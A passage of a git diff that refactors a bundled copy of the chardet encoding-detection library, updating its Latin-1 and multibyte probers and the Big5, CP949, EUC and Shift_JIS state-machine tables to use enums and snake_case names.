+1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0, +3,3,3,0,3,3,1,1,2,3,1,0,3,2,3,0,3,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0, +1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,3,3,0,3,3,2,3,3,2,2,0,0,0,0,1,2,0,1,3,0,0,0,3,1,1,0,3,0,2, +2,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,1,2,2,1,0,3,1,1,1,1,3,3,2,3,0,0,1,0,1,2,0,2,2,0,2,2,0,2,1, +0,2,2,1,1,1,1,0,2,1,1,0,1,1,1,1,2,1,2,1,2,0,1,0,1,0,0,0,0,0,0,0, +3,3,3,0,1,1,3,0,0,1,1,0,0,2,2,0,3,0,0,1,1,0,1,0,0,0,0,0,2,0,0,0, +0,3,1,0,1,0,1,0,2,0,0,1,0,1,0,1,1,1,2,1,1,0,2,0,0,0,0,0,0,0,0,0, +3,3,3,0,2,0,2,0,1,1,1,0,0,3,3,0,2,0,0,1,0,0,2,1,1,0,1,0,1,0,1,0, +0,2,0,1,2,0,2,0,2,1,1,0,1,0,2,1,1,0,2,1,1,0,1,0,0,0,1,1,0,0,0,0, +3,2,3,0,1,0,0,0,0,0,0,0,0,1,2,0,1,0,0,1,0,0,1,0,0,0,0,0,2,0,0,0, +0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,2,1,0,1,0,2,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,0,0,2,3,0,0,1,0,1,0,2,3,2,3,0,0,1,3,0,2,1,0,0,0,0,2,0,1,0, +0,2,1,0,0,1,1,0,2,1,0,0,1,0,0,1,1,0,1,1,2,0,1,0,0,0,0,1,0,0,0,0, +3,2,2,0,0,1,1,0,0,0,0,0,0,3,1,1,1,0,0,0,0,0,1,0,0,0,0,0,2,0,1,0, +0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0, +0,0,0,3,3,0,2,3,2,2,1,2,2,1,1,2,0,1,3,2,2,2,0,0,2,2,0,0,0,1,2,1, +3,0,2,1,1,0,1,1,1,0,1,2,2,2,1,1,2,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0, +0,1,1,2,3,0,3,3,3,2,2,2,2,1,0,1,0,1,0,1,2,2,0,0,2,2,1,3,1,1,2,1, +0,0,1,1,2,0,1,1,0,0,1,2,0,2,1,1,2,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0, +3,3,2,0,0,3,1,0,0,0,0,0,0,3,2,1,2,0,0,1,0,0,2,0,0,0,0,0,2,0,1,0, +0,2,1,1,0,0,1,0,1,2,0,0,1,1,0,0,2,1,1,1,1,0,2,0,0,0,0,0,0,0,0,0, +3,3,2,0,0,1,0,0,0,0,1,0,0,3,3,2,2,0,0,1,0,0,2,0,1,0,0,0,2,0,1,0, +0,0,1,1,0,0,2,0,2,1,0,0,1,1,2,1,2,0,2,1,2,1,1,1,0,0,1,1,0,0,0,0, +3,3,2,0,0,2,2,0,0,0,1,1,0,2,2,1,3,1,0,1,0,1,2,0,0,0,0,0,1,0,1,0, +0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,2,0,0,0,1,0,0,1,0,0,2,3,1,2,0,0,1,0,0,2,0,0,0,1,0,2,0,2,0, +0,1,1,2,2,1,2,0,2,1,1,0,0,1,1,0,1,1,1,1,2,1,1,0,0,0,0,0,0,0,0,0, +3,3,3,0,2,1,2,1,0,0,1,1,0,3,3,1,2,0,0,1,0,0,2,0,2,0,1,1,2,0,0,0, +0,0,1,1,1,1,2,0,1,1,0,1,1,1,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0, +3,3,3,0,2,2,3,2,0,0,1,0,0,2,3,1,0,0,0,0,0,0,2,0,2,0,0,0,2,0,0,0, +0,1,1,0,0,0,1,0,0,1,0,1,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0, +3,2,3,0,0,0,0,0,0,0,1,0,0,2,2,2,2,0,0,1,0,0,2,0,0,0,0,0,2,0,1,0, +0,0,2,1,1,0,1,0,2,1,1,0,0,1,1,2,1,0,2,0,2,0,1,0,0,0,2,0,0,0,0,0, +0,0,0,2,2,0,2,1,1,1,1,2,2,0,0,1,0,1,0,0,1,3,0,0,0,0,1,0,0,2,1,0, +0,0,1,0,1,0,0,0,0,0,2,1,0,1,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0, +2,0,0,2,3,0,2,3,1,2,2,0,2,0,0,2,0,2,1,1,1,2,1,0,0,1,2,1,1,2,1,0, +1,0,2,0,1,0,1,1,0,0,2,2,1,2,1,1,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,0,2,1,2,0,0,0,1,0,0,3,2,0,1,0,0,1,0,0,2,0,0,0,1,2,1,0,1,0, +0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0, +0,0,0,2,2,0,2,2,1,1,0,1,1,1,1,1,0,0,1,2,1,1,1,0,1,0,0,0,1,1,1,1, +0,0,2,1,0,1,1,1,0,1,1,2,1,2,1,1,2,0,1,1,2,1,0,2,0,0,0,0,0,0,0,0, +3,2,2,0,0,2,0,0,0,0,0,0,0,2,2,0,2,0,0,1,0,0,2,0,0,0,0,0,2,0,0,0, +0,2,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0, +0,0,0,3,2,0,2,2,0,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0, +2,0,1,0,1,0,1,1,0,0,1,2,0,1,0,1,1,0,0,1,0,1,0,2,0,0,0,0,0,0,0,0, +2,2,2,0,1,1,0,0,0,1,0,0,0,1,2,0,1,0,0,1,0,0,1,0,0,0,0,1,2,0,1,0, +0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,2,0,0,0,0,0,0,0,0,0,0,0, +2,2,2,2,1,0,1,1,1,0,0,0,0,1,2,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0, +1,1,2,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,2,0,0,0,0,0,1, +0,0,1,2,2,0,2,1,2,1,1,2,2,0,0,0,0,1,0,0,1,1,0,0,2,0,0,0,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0, +2,2,2,0,0,0,1,0,0,0,0,0,0,2,2,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, +0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,2,2,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,1,0,0,0,0,0,0,0,0,0,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +) + +Latin5TurkishModel = { + 'char_to_order_map': Latin5_TurkishCharToOrderMap, + 'precedence_matrix': TurkishLangModel, + 'typical_positive_ratio': 0.970290, + 'keep_english_letter': True, + 'charset_name': "ISO-8859-9", + 'language': 'Turkish', +} diff --git a/thirdparty/chardet/latin1prober.py b/thirdparty/chardet/latin1prober.py index eef3573543c..7d1e8c20fb0 100644 --- a/thirdparty/chardet/latin1prober.py +++ b/thirdparty/chardet/latin1prober.py @@ -27,8 +27,7 @@ ######################### END LICENSE BLOCK ######################### from .charsetprober import CharSetProber -from .constants import eNotMe -from .compat import wrap_ord +from .enums import ProbingState FREQ_CAT_NUM = 4 @@ -82,7 +81,7 @@ # 2 : normal # 3 : very likely Latin1ClassModel = ( - # UDF OTH ASC ASS ACV ACO ASV ASO +# UDF OTH ASC ASS ACV ACO ASV ASO 0, 0, 0, 0, 0, 0, 0, 0, # UDF 0, 3, 3, 3, 3, 3, 3, 3, # OTH 0, 3, 3, 3, 3, 3, 3, 3, # ASC @@ -96,40 +95,47 @@ class Latin1Prober(CharSetProber): def __init__(self): - CharSetProber.__init__(self) + super(Latin1Prober, self).__init__() + self._last_char_class = None + self._freq_counter = None self.reset() def reset(self): - self._mLastCharClass = OTH - self._mFreqCounter = [0] * FREQ_CAT_NUM + self._last_char_class = OTH + self._freq_counter = [0] * FREQ_CAT_NUM CharSetProber.reset(self) - def get_charset_name(self): - return "windows-1252" + @property + def charset_name(self): + return "ISO-8859-1" - def feed(self, aBuf): - aBuf = self.filter_with_english_letters(aBuf) - for c in aBuf: - charClass = Latin1_CharToClass[wrap_ord(c)] - freq = Latin1ClassModel[(self._mLastCharClass * CLASS_NUM) - + charClass] + @property + def language(self): + return "" + + def feed(self, byte_str): + byte_str = self.filter_with_english_letters(byte_str) + for c in byte_str: + char_class = Latin1_CharToClass[c] + freq = Latin1ClassModel[(self._last_char_class * CLASS_NUM) + + char_class] if freq == 0: - self._mState = eNotMe + self._state = ProbingState.NOT_ME break - self._mFreqCounter[freq] += 1 - self._mLastCharClass = charClass + self._freq_counter[freq] += 1 + self._last_char_class = char_class - return self.get_state() + return self.state def get_confidence(self): - if self.get_state() == eNotMe: + if self.state == ProbingState.NOT_ME: return 0.01 - total = sum(self._mFreqCounter) + total = sum(self._freq_counter) if total < 0.01: confidence = 0.0 else: - confidence = ((self._mFreqCounter[3] - self._mFreqCounter[1] * 20.0) + confidence = ((self._freq_counter[3] - self._freq_counter[1] * 20.0) / total) if confidence < 0.0: confidence = 0.0 diff --git a/thirdparty/chardet/mbcharsetprober.py b/thirdparty/chardet/mbcharsetprober.py index c98cc622888..6256ecfd1e2 100644 --- a/thirdparty/chardet/mbcharsetprober.py +++ b/thirdparty/chardet/mbcharsetprober.py @@ -27,60 +27,65 @@ # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -import sys -from . import constants from .charsetprober import CharSetProber +from .enums import ProbingState, MachineState class MultiByteCharSetProber(CharSetProber): - def __init__(self): - CharSetProber.__init__(self) - self._mDistributionAnalyzer = None - self._mCodingSM = None - self._mLastChar = [0, 0] + """ + MultiByteCharSetProber + """ + + def __init__(self, lang_filter=None): + super(MultiByteCharSetProber, self).__init__(lang_filter=lang_filter) + self.distribution_analyzer = None + self.coding_sm = None + self._last_char = [0, 0] def reset(self): - CharSetProber.reset(self) - if self._mCodingSM: - self._mCodingSM.reset() - if self._mDistributionAnalyzer: - self._mDistributionAnalyzer.reset() - self._mLastChar = [0, 0] + super(MultiByteCharSetProber, self).reset() + if self.coding_sm: + self.coding_sm.reset() + if self.distribution_analyzer: + self.distribution_analyzer.reset() + self._last_char = [0, 0] + + @property + def charset_name(self): + raise NotImplementedError - def get_charset_name(self): - pass + @property + def language(self): + raise NotImplementedError - def feed(self, aBuf): - aLen = len(aBuf) - for i in xrange(0, aLen): - codingState = self._mCodingSM.next_state(aBuf[i]) - if codingState == constants.eError: - if constants._debug: - sys.stderr.write(self.get_charset_name() - + ' prober hit error at byte ' + str(i) - + '\n') - self._mState = constants.eNotMe + def feed(self, byte_str): + for i in range(len(byte_str)): + coding_state = self.coding_sm.next_state(byte_str[i]) + if coding_state == MachineState.ERROR: + self.logger.debug('%s %s prober hit error at byte %s', + self.charset_name, self.language, i) + self._state = ProbingState.NOT_ME break - elif codingState == constants.eItsMe: - self._mState = constants.eFoundIt + elif coding_state == MachineState.ITS_ME: + self._state = ProbingState.FOUND_IT break - elif codingState == constants.eStart: - charLen = self._mCodingSM.get_current_charlen() + elif coding_state == MachineState.START: + char_len = self.coding_sm.get_current_charlen() if i == 0: - self._mLastChar[1] = aBuf[0] - self._mDistributionAnalyzer.feed(self._mLastChar, charLen) + self._last_char[1] = byte_str[0] + self.distribution_analyzer.feed(self._last_char, char_len) else: - self._mDistributionAnalyzer.feed(aBuf[i - 1:i + 1], - charLen) + self.distribution_analyzer.feed(byte_str[i - 1:i + 1], + char_len) - self._mLastChar[0] = aBuf[aLen - 1] + self._last_char[0] = byte_str[-1] - if self.get_state() == constants.eDetecting: - if (self._mDistributionAnalyzer.got_enough_data() and - (self.get_confidence() > constants.SHORTCUT_THRESHOLD)): - self._mState = constants.eFoundIt + if self.state == ProbingState.DETECTING: + if (self.distribution_analyzer.got_enough_data() and + (self.get_confidence() > self.SHORTCUT_THRESHOLD)): + self._state = ProbingState.FOUND_IT - return self.get_state() + return self.state def get_confidence(self): - return self._mDistributionAnalyzer.get_confidence() + return self.distribution_analyzer.get_confidence() diff --git a/thirdparty/chardet/mbcsgroupprober.py b/thirdparty/chardet/mbcsgroupprober.py index 03c9dcf3eb8..530abe75e0c 100644 --- a/thirdparty/chardet/mbcsgroupprober.py +++ b/thirdparty/chardet/mbcsgroupprober.py @@ -39,9 +39,9 @@ class MBCSGroupProber(CharSetGroupProber): - def __init__(self): - CharSetGroupProber.__init__(self) - self._mProbers = [ + def __init__(self, lang_filter=None): + super(MBCSGroupProber, self).__init__(lang_filter=lang_filter) + self.probers = [ UTF8Prober(), SJISProber(), EUCJPProber(), diff --git a/thirdparty/chardet/mbcssm.py b/thirdparty/chardet/mbcssm.py index efe678ca039..8360d0f284e 100644 --- a/thirdparty/chardet/mbcssm.py +++ b/thirdparty/chardet/mbcssm.py @@ -25,11 +25,11 @@ # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -from .constants import eStart, eError, eItsMe +from .enums import MachineState # BIG5 -BIG5_cls = ( +BIG5_CLS = ( 1,1,1,1,1,1,1,1, # 00 - 07 #allow 0x00 as legal value 1,1,1,1,1,1,0,0, # 08 - 0f 1,1,1,1,1,1,1,1, # 10 - 17 @@ -64,23 +64,23 @@ 3,3,3,3,3,3,3,0 # f8 - ff ) -BIG5_st = ( - eError,eStart,eStart, 3,eError,eError,eError,eError,#00-07 - eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eError,#08-0f - eError,eStart,eStart,eStart,eStart,eStart,eStart,eStart#10-17 +BIG5_ST = ( + MachineState.ERROR,MachineState.START,MachineState.START, 3,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,#08-0f + MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START#10-17 ) -Big5CharLenTable = (0, 1, 1, 2, 0) +BIG5_CHAR_LEN_TABLE = (0, 1, 1, 2, 0) -Big5SMModel = {'classTable': BIG5_cls, - 'classFactor': 5, - 'stateTable': BIG5_st, - 'charLenTable': Big5CharLenTable, - 'name': 'Big5'} +BIG5_SM_MODEL = {'class_table': BIG5_CLS, + 'class_factor': 5, + 'state_table': BIG5_ST, + 'char_len_table': BIG5_CHAR_LEN_TABLE, + 'name': 'Big5'} # CP949 -CP949_cls = ( +CP949_CLS = ( 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,0,0, # 00 - 0f 1,1,1,1,1,1,1,1, 1,1,1,0,1,1,1,1, # 10 - 1f 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1, # 20 - 2f @@ -99,28 +99,28 @@ 2,2,2,2,2,2,2,2, 2,2,2,2,2,2,2,0, # f0 - ff ) -CP949_st = ( +CP949_ST = ( #cls= 0 1 2 3 4 5 6 7 8 9 # previous state = - eError,eStart, 3,eError,eStart,eStart, 4, 5,eError, 6, # eStart - eError,eError,eError,eError,eError,eError,eError,eError,eError,eError, # eError - eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe, # eItsMe - eError,eError,eStart,eStart,eError,eError,eError,eStart,eStart,eStart, # 3 - eError,eError,eStart,eStart,eStart,eStart,eStart,eStart,eStart,eStart, # 4 - eError,eStart,eStart,eStart,eStart,eStart,eStart,eStart,eStart,eStart, # 5 - eError,eStart,eStart,eStart,eStart,eError,eError,eStart,eStart,eStart, # 6 + MachineState.ERROR,MachineState.START, 3,MachineState.ERROR,MachineState.START,MachineState.START, 4, 5,MachineState.ERROR, 6, # MachineState.START + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, # MachineState.ERROR + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME, # MachineState.ITS_ME + MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START, # 3 + MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START, # 4 + MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START, # 5 + MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START, # 6 ) -CP949CharLenTable = (0, 1, 2, 0, 1, 1, 2, 2, 0, 2) +CP949_CHAR_LEN_TABLE = (0, 1, 2, 0, 1, 1, 2, 2, 0, 2) -CP949SMModel = {'classTable': CP949_cls, - 'classFactor': 10, - 'stateTable': CP949_st, - 'charLenTable': CP949CharLenTable, - 'name': 'CP949'} +CP949_SM_MODEL = {'class_table': CP949_CLS, + 'class_factor': 10, + 'state_table': CP949_ST, + 'char_len_table': CP949_CHAR_LEN_TABLE, + 'name': 'CP949'} # EUC-JP -EUCJP_cls = ( +EUCJP_CLS = ( 4,4,4,4,4,4,4,4, # 00 - 07 4,4,4,4,4,4,5,5, # 08 - 0f 4,4,4,4,4,4,4,4, # 10 - 17 @@ -155,25 +155,25 @@ 0,0,0,0,0,0,0,5 # f8 - ff ) -EUCJP_st = ( - 3, 4, 3, 5,eStart,eError,eError,eError,#00-07 - eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,#08-0f - eItsMe,eItsMe,eStart,eError,eStart,eError,eError,eError,#10-17 - eError,eError,eStart,eError,eError,eError, 3,eError,#18-1f - 3,eError,eError,eError,eStart,eStart,eStart,eStart#20-27 +EUCJP_ST = ( + 3, 4, 3, 5,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.START,MachineState.ERROR,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#10-17 + MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 3,MachineState.ERROR,#18-1f + 3,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START#20-27 ) -EUCJPCharLenTable = (2, 2, 2, 3, 1, 0) +EUCJP_CHAR_LEN_TABLE = (2, 2, 2, 3, 1, 0) -EUCJPSMModel = {'classTable': EUCJP_cls, - 'classFactor': 6, - 'stateTable': EUCJP_st, - 'charLenTable': EUCJPCharLenTable, - 'name': 'EUC-JP'} +EUCJP_SM_MODEL = {'class_table': EUCJP_CLS, + 'class_factor': 6, + 'state_table': EUCJP_ST, + 'char_len_table': EUCJP_CHAR_LEN_TABLE, + 'name': 'EUC-JP'} # EUC-KR -EUCKR_cls = ( +EUCKR_CLS = ( 1,1,1,1,1,1,1,1, # 00 - 07 1,1,1,1,1,1,0,0, # 08 - 0f 1,1,1,1,1,1,1,1, # 10 - 17 @@ -208,22 +208,22 @@ 2,2,2,2,2,2,2,0 # f8 - ff ) -EUCKR_st = ( - eError,eStart, 3,eError,eError,eError,eError,eError,#00-07 - eItsMe,eItsMe,eItsMe,eItsMe,eError,eError,eStart,eStart #08-0f +EUCKR_ST = ( + MachineState.ERROR,MachineState.START, 3,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START #08-0f ) -EUCKRCharLenTable = (0, 1, 2, 0) +EUCKR_CHAR_LEN_TABLE = (0, 1, 2, 0) -EUCKRSMModel = {'classTable': EUCKR_cls, - 'classFactor': 4, - 'stateTable': EUCKR_st, - 'charLenTable': EUCKRCharLenTable, +EUCKR_SM_MODEL = {'class_table': EUCKR_CLS, + 'class_factor': 4, + 'state_table': EUCKR_ST, + 'char_len_table': EUCKR_CHAR_LEN_TABLE, 'name': 'EUC-KR'} # EUC-TW -EUCTW_cls = ( +EUCTW_CLS = ( 2,2,2,2,2,2,2,2, # 00 - 07 2,2,2,2,2,2,0,0, # 08 - 0f 2,2,2,2,2,2,2,2, # 10 - 17 @@ -258,26 +258,26 @@ 3,3,3,3,3,3,3,0 # f8 - ff ) -EUCTW_st = ( - eError,eError,eStart, 3, 3, 3, 4,eError,#00-07 - eError,eError,eError,eError,eError,eError,eItsMe,eItsMe,#08-0f - eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eError,eStart,eError,#10-17 - eStart,eStart,eStart,eError,eError,eError,eError,eError,#18-1f - 5,eError,eError,eError,eStart,eError,eStart,eStart,#20-27 - eStart,eError,eStart,eStart,eStart,eStart,eStart,eStart #28-2f +EUCTW_ST = ( + MachineState.ERROR,MachineState.ERROR,MachineState.START, 3, 3, 3, 4,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.START,MachineState.ERROR,#10-17 + MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#18-1f + 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.ERROR,MachineState.START,MachineState.START,#20-27 + MachineState.START,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START #28-2f ) -EUCTWCharLenTable = (0, 0, 1, 2, 2, 2, 3) +EUCTW_CHAR_LEN_TABLE = (0, 0, 1, 2, 2, 2, 3) -EUCTWSMModel = {'classTable': EUCTW_cls, - 'classFactor': 7, - 'stateTable': EUCTW_st, - 'charLenTable': EUCTWCharLenTable, +EUCTW_SM_MODEL = {'class_table': EUCTW_CLS, + 'class_factor': 7, + 'state_table': EUCTW_ST, + 'char_len_table': EUCTW_CHAR_LEN_TABLE, 'name': 'x-euc-tw'} # GB2312 -GB2312_cls = ( +GB2312_CLS = ( 1,1,1,1,1,1,1,1, # 00 - 07 1,1,1,1,1,1,0,0, # 08 - 0f 1,1,1,1,1,1,1,1, # 10 - 17 @@ -312,31 +312,31 @@ 6,6,6,6,6,6,6,0 # f8 - ff ) -GB2312_st = ( - eError,eStart,eStart,eStart,eStart,eStart, 3,eError,#00-07 - eError,eError,eError,eError,eError,eError,eItsMe,eItsMe,#08-0f - eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eError,eError,eStart,#10-17 - 4,eError,eStart,eStart,eError,eError,eError,eError,#18-1f - eError,eError, 5,eError,eError,eError,eItsMe,eError,#20-27 - eError,eError,eStart,eStart,eStart,eStart,eStart,eStart #28-2f +GB2312_ST = ( + MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START, 3,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.START,#10-17 + 4,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#18-1f + MachineState.ERROR,MachineState.ERROR, 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,#20-27 + MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START #28-2f ) # To be accurate, the length of class 6 can be either 2 or 4. # But it is not necessary to discriminate between the two since -# it is used for frequency analysis only, and we are validing +# it is used for frequency analysis only, and we are validating # each code range there as well. So it is safe to set it to be # 2 here. -GB2312CharLenTable = (0, 1, 1, 1, 1, 1, 2) +GB2312_CHAR_LEN_TABLE = (0, 1, 1, 1, 1, 1, 2) -GB2312SMModel = {'classTable': GB2312_cls, - 'classFactor': 7, - 'stateTable': GB2312_st, - 'charLenTable': GB2312CharLenTable, - 'name': 'GB2312'} +GB2312_SM_MODEL = {'class_table': GB2312_CLS, + 'class_factor': 7, + 'state_table': GB2312_ST, + 'char_len_table': GB2312_CHAR_LEN_TABLE, + 'name': 'GB2312'} # Shift_JIS -SJIS_cls = ( +SJIS_CLS = ( 1,1,1,1,1,1,1,1, # 00 - 07 1,1,1,1,1,1,0,0, # 08 - 0f 1,1,1,1,1,1,1,1, # 10 - 17 @@ -373,23 +373,23 @@ 3,3,3,3,3,0,0,0) # f8 - ff -SJIS_st = ( - eError,eStart,eStart, 3,eError,eError,eError,eError,#00-07 - eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,#08-0f - eItsMe,eItsMe,eError,eError,eStart,eStart,eStart,eStart #10-17 +SJIS_ST = ( + MachineState.ERROR,MachineState.START,MachineState.START, 3,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START #10-17 ) -SJISCharLenTable = (0, 1, 1, 2, 0, 0) +SJIS_CHAR_LEN_TABLE = (0, 1, 1, 2, 0, 0) -SJISSMModel = {'classTable': SJIS_cls, - 'classFactor': 6, - 'stateTable': SJIS_st, - 'charLenTable': SJISCharLenTable, +SJIS_SM_MODEL = {'class_table': SJIS_CLS, + 'class_factor': 6, + 'state_table': SJIS_ST, + 'char_len_table': SJIS_CHAR_LEN_TABLE, 'name': 'Shift_JIS'} # UCS2-BE -UCS2BE_cls = ( +UCS2BE_CLS = ( 0,0,0,0,0,0,0,0, # 00 - 07 0,0,1,0,0,2,0,0, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 @@ -424,27 +424,27 @@ 0,0,0,0,0,0,4,5 # f8 - ff ) -UCS2BE_st = ( - 5, 7, 7,eError, 4, 3,eError,eError,#00-07 - eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,#08-0f - eItsMe,eItsMe, 6, 6, 6, 6,eError,eError,#10-17 - 6, 6, 6, 6, 6,eItsMe, 6, 6,#18-1f - 6, 6, 6, 6, 5, 7, 7,eError,#20-27 - 5, 8, 6, 6,eError, 6, 6, 6,#28-2f - 6, 6, 6, 6,eError,eError,eStart,eStart #30-37 +UCS2BE_ST = ( + 5, 7, 7,MachineState.ERROR, 4, 3,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME, 6, 6, 6, 6,MachineState.ERROR,MachineState.ERROR,#10-17 + 6, 6, 6, 6, 